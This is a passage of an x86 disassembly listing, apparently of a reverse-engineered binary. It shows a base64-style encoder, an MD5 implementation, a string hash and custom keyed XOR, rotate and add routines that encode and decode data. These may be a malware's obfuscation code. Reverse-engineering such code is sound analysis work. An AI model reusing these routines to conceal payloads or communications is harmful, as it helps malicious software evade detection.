loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: cAddress:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EA84
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EA84
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; cAddress:00411294p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EA84[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: cAddress:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EA98
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EA98
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EA98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
